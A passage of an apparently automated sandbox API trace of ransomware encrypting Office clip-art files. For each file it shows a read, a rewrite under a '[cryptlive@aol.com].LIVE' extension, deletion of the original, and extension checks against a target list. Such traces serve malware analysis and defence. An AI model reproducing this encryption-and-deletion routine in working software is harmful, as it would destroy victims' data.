dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.410] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12752) returned 1 [0161.410] CloseHandle (hObject=0x1e0) returned 1 [0161.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 0x20 [0161.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.410] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.411] GetLastError () returned 0x0 [0161.411] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x31d0, lpOverlapped=0x0) returned 1 [0161.413] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x31e0, lpOverlapped=0x0) returned 1 [0161.414] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.414] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.414] SetEndOfFile (hFile=0x380) returned 1 [0161.414] CloseHandle (hObject=0x380) returned 1 [0161.415] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.415] SetEndOfFile (hFile=0x1e0) returned 1 [0161.417] CloseHandle (hObject=0x1e0) returned 1 [0161.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf")) returned 1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.419] lstrlenW (lpString=".doc") returned 4 [0161.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.419] lstrlenW (lpString=".docx") returned 5 [0161.419] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0161.419] lstrlenW (lpString=".pdf") returned 4 [0161.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.419] lstrlenW (lpString=".xls") returned 4 [0161.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.419] lstrlenW (lpString=".xlsx") returned 5 [0161.419] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0161.419] lstrlenW (lpString=".ppt") returned 4 [0161.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.419] lstrlenW (lpString=".zip") returned 4 [0161.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.419] lstrlenW (lpString=".rar") returned 4 [0161.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.419] lstrlenW (lpString=".bz2") returned 4 [0161.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.419] lstrlenW (lpString=".7z") returned 3 [0161.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.419] lstrlenW (lpString=".dbf") returned 4 [0161.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.419] lstrlenW (lpString=".1cd") returned 4 [0161.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.420] lstrlenW (lpString=".jpg") returned 4 [0161.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.420] lstrlenW (lpString=".doc") returned 4 [0161.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString=".docx") returned 5 [0161.420] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0161.420] lstrlenW (lpString=".pdf") returned 4 [0161.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString=".xls") returned 4 [0161.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.420] lstrlenW (lpString=".xlsx") returned 5 [0161.420] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0161.420] lstrlenW (lpString=".ppt") returned 4 [0161.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.420] lstrlenW (lpString=".zip") returned 4 [0161.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.420] lstrlenW (lpString=".rar") returned 4 [0161.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString=".bz2") returned 4 [0161.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString=".7z") returned 3 [0161.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.420] lstrlenW (lpString=".dbf") returned 4 [0161.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.420] lstrlenW (lpString=".1cd") returned 4 [0161.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF") returned 63 [0161.421] lstrlenW (lpString=".jpg") returned 4 [0161.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.421] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.421] lstrlenW (lpString="J0153516.WMF") returned 12 [0161.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.422] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7432) returned 1 [0161.422] CloseHandle (hObject=0x1e0) returned 1 [0161.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 0x20 [0161.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.422] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.422] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.424] GetLastError () returned 0x0 [0161.424] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1d08, lpOverlapped=0x0) returned 1 [0161.425] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1d10, lpOverlapped=0x0) returned 1 [0161.426] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.426] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.427] SetEndOfFile (hFile=0x380) returned 1 [0161.427] CloseHandle (hObject=0x380) returned 1 [0161.427] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.427] SetEndOfFile (hFile=0x1e0) returned 1 [0161.429] CloseHandle (hObject=0x1e0) returned 1 [0161.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.429] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0161.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.431] lstrlenW (lpString=".doc") returned 4 [0161.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString=".docx") returned 5 [0161.431] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0161.431] lstrlenW (lpString=".pdf") returned 4 [0161.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString=".xls") returned 4 [0161.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.431] lstrlenW (lpString=".xlsx") returned 5 [0161.431] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0161.431] lstrlenW (lpString=".ppt") returned 4 [0161.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.431] lstrlenW (lpString=".zip") returned 4 [0161.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.431] lstrlenW (lpString=".rar") returned 4 [0161.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString=".bz2") returned 4 [0161.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString=".7z") returned 3 [0161.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.431] lstrlenW (lpString=".dbf") returned 4 [0161.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.431] lstrlenW (lpString=".1cd") returned 4 [0161.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.431] lstrlenW (lpString=".jpg") returned 4 [0161.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.432] lstrlenW (lpString=".doc") returned 4 [0161.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString=".docx") returned 5 [0161.432] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0161.432] lstrlenW (lpString=".pdf") returned 4 [0161.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString=".xls") returned 4 [0161.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.432] lstrlenW (lpString=".xlsx") returned 5 [0161.432] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0161.432] lstrlenW (lpString=".ppt") returned 4 [0161.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.432] lstrlenW (lpString=".zip") returned 4 [0161.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.432] lstrlenW (lpString=".rar") returned 4 [0161.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString=".bz2") returned 4 [0161.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString=".7z") returned 3 [0161.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.432] lstrlenW (lpString=".dbf") returned 4 [0161.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.432] lstrlenW (lpString=".1cd") returned 4 [0161.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0161.432] lstrlenW (lpString=".jpg") returned 4 [0161.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.433] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.433] lstrlenW (lpString="J0153518.WMF") returned 12 [0161.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.435] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=12528) returned 1 [0161.435] CloseHandle (hObject=0x1e0) returned 1 [0161.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 0x20 [0161.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.436] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.436] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0161.437] GetLastError () returned 0x0 [0161.437] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x30f0, lpOverlapped=0x0) returned 1 [0161.809] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3100, lpOverlapped=0x0) returned 1 [0161.810] ReadFile (in: hFile=0x1e0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.810] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.810] SetEndOfFile (hFile=0x380) returned 1 [0161.811] CloseHandle (hObject=0x380) returned 1 [0161.811] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.811] SetEndOfFile (hFile=0x1e0) returned 1 [0161.813] CloseHandle (hObject=0x1e0) returned 1 [0161.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf")) returned 1 [0161.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.816] lstrlenW (lpString=".doc") returned 4 [0161.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.816] lstrlenW (lpString=".docx") returned 5 [0161.816] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.816] lstrlenW (lpString=".pdf") returned 4 [0161.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.816] lstrlenW (lpString=".xls") returned 4 [0161.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.816] lstrlenW (lpString=".xlsx") returned 5 [0161.816] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.816] lstrlenW (lpString=".ppt") returned 4 [0161.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.816] lstrlenW (lpString=".zip") returned 4 [0161.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.816] lstrlenW (lpString=".rar") returned 4 [0161.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.816] lstrlenW (lpString=".bz2") returned 4 [0161.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.816] lstrlenW (lpString=".7z") returned 3 [0161.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.816] lstrlenW (lpString=".dbf") returned 4 [0161.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".1cd") returned 4 [0161.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".jpg") returned 4 [0161.817] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".doc") returned 4 [0161.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString=".docx") returned 5 [0161.817] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0161.817] lstrlenW (lpString=".pdf") returned 4 [0161.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString=".xls") returned 4 [0161.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0161.817] lstrlenW (lpString=".xlsx") returned 5 [0161.817] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0161.817] lstrlenW (lpString=".ppt") returned 4 [0161.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".zip") returned 4 [0161.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0161.817] lstrlenW (lpString=".rar") returned 4 [0161.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString=".bz2") returned 4 [0161.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString=".7z") returned 3 [0161.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".dbf") returned 4 [0161.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".1cd") returned 4 [0161.817] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF") returned 63 [0161.817] lstrlenW (lpString=".jpg") returned 4 [0161.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.818] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0161.818] lstrlenW (lpString="J0171847.WMF") returned 12 [0161.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0161.819] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6888) returned 1 [0161.819] CloseHandle (hObject=0x1e0) returned 1 [0161.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 0x20 [0161.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff 